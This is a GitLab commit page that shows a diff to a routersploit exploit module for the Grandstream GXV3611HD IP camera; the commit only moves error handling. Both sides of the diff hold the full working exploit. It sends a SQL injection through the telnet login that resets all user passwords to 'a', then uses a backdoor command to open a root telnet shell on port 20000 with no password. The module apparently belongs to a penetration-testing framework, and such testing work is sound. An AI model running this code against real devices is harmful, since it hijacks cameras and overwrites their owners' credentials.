Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
311d72d9
Commit
311d72d9
authored
Feb 01, 2017
by
Joshua Abraham
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Moved try-catch to check method and removed unnecessary except
parent
e949a544
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
38 additions
and
39 deletions
+38
-39
gxv3611hd_ip_camera_rce.py
...t/modules/exploits/grandstream/gxv3611hd_ip_camera_rce.py
+38
-39
No files found.
routersploit/modules/exploits/grandstream/gxv3611hd_ip_camera_rce.py
View file @
311d72d9
...
...
@@ -30,50 +30,49 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
23
,
'Target port'
)
# default port
def
run
(
self
):
try
:
if
self
.
check
():
print_success
(
"Target appears to be vulnerable..."
)
if
self
.
check
():
print_success
(
"Target appears to be vulnerable..."
)
try
:
conn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
conn
.
read_until
(
"Username: "
)
conn
.
write
(
"';update user set password='a';--
\r\n
"
)
# This changes all the passwords to 'a'
conn
.
read_until
(
"Password: "
)
conn
.
write
(
"nothing
\r\n
"
)
conn
.
read_until
(
"Username: "
)
conn
.
write
(
"admin
\r\n
"
)
conn
.
read_until
(
"Password: "
)
conn
.
write
(
"a
\r\n
"
)
# Login with the new password
conn
.
read_until
(
"> "
)
conn
.
write
(
"!#/ port lol
\r\n
"
)
# Backdoor command triggers telnet server to startup.
conn
.
read_until
(
"> "
)
conn
.
write
(
"quit
\r\n
"
)
conn
.
close
()
print_success
(
"SQLI successful, going to telnet into port 20000 with username root and no password to get shell"
)
except
:
print_error
(
"Exploit failed. Could not log in."
)
try
:
conn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
conn
.
read_until
(
"Username: "
)
conn
.
write
(
"';update user set password='a';--
\r\n
"
)
# This changes all the passwords to 'a'
conn
.
read_until
(
"Password: "
)
conn
.
write
(
"nothing
\r\n
"
)
conn
.
read_until
(
"Username: "
)
conn
.
write
(
"admin
\r\n
"
)
conn
.
read_until
(
"Password: "
)
conn
.
write
(
"a
\r\n
"
)
# Login with the new password
conn
.
read_until
(
"> "
)
conn
.
write
(
"!#/ port lol
\r\n
"
)
# Backdoor command triggers telnet server to startup.
conn
.
read_until
(
"> "
)
conn
.
write
(
"quit
\r\n
"
)
conn
.
close
()
print_success
(
"SQLI successful, going to telnet into port 20000 with username root and no password to get shell"
)
except
:
print_error
(
"Exploit failed. Could not log in."
)
try
:
conn
=
telnetlib
.
Telnet
(
self
.
target
,
20000
)
conn
.
read_until
(
"login: "
)
conn
.
write
(
"root
\r\n
"
)
conn
.
read_until
(
"Password: "
)
conn
.
write
(
"
\r\n
"
)
conn
.
read_until
(
"# "
)
print_success
(
"Authenticaiton Successful"
)
conn
.
interact
()
except
:
print_error
(
"Failed to log into backdoor."
)
else
:
print_error
(
"Exploit failed. Target does not appear vulnerable"
)
except
Exception
as
err
:
print_error
(
"{}"
.
format
(
err
))
try
:
conn
=
telnetlib
.
Telnet
(
self
.
target
,
20000
)
conn
.
read_until
(
"login: "
)
conn
.
write
(
"root
\r\n
"
)
conn
.
read_until
(
"Password: "
)
conn
.
write
(
"
\r\n
"
)
conn
.
read_until
(
"# "
)
print_success
(
"Authenticaiton Successful"
)
conn
.
interact
()
except
:
print_error
(
"Failed to log into backdoor."
)
else
:
print_error
(
"Exploit failed. Target does not appear vulnerable"
)
@mute
def
check
(
self
):
conn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
try
:
conn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
except
:
return
False
output
=
conn
.
read_until
(
"login:"
)
if
'Grandstream'
in
output
:
return
True
else
:
return
False
return
False
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment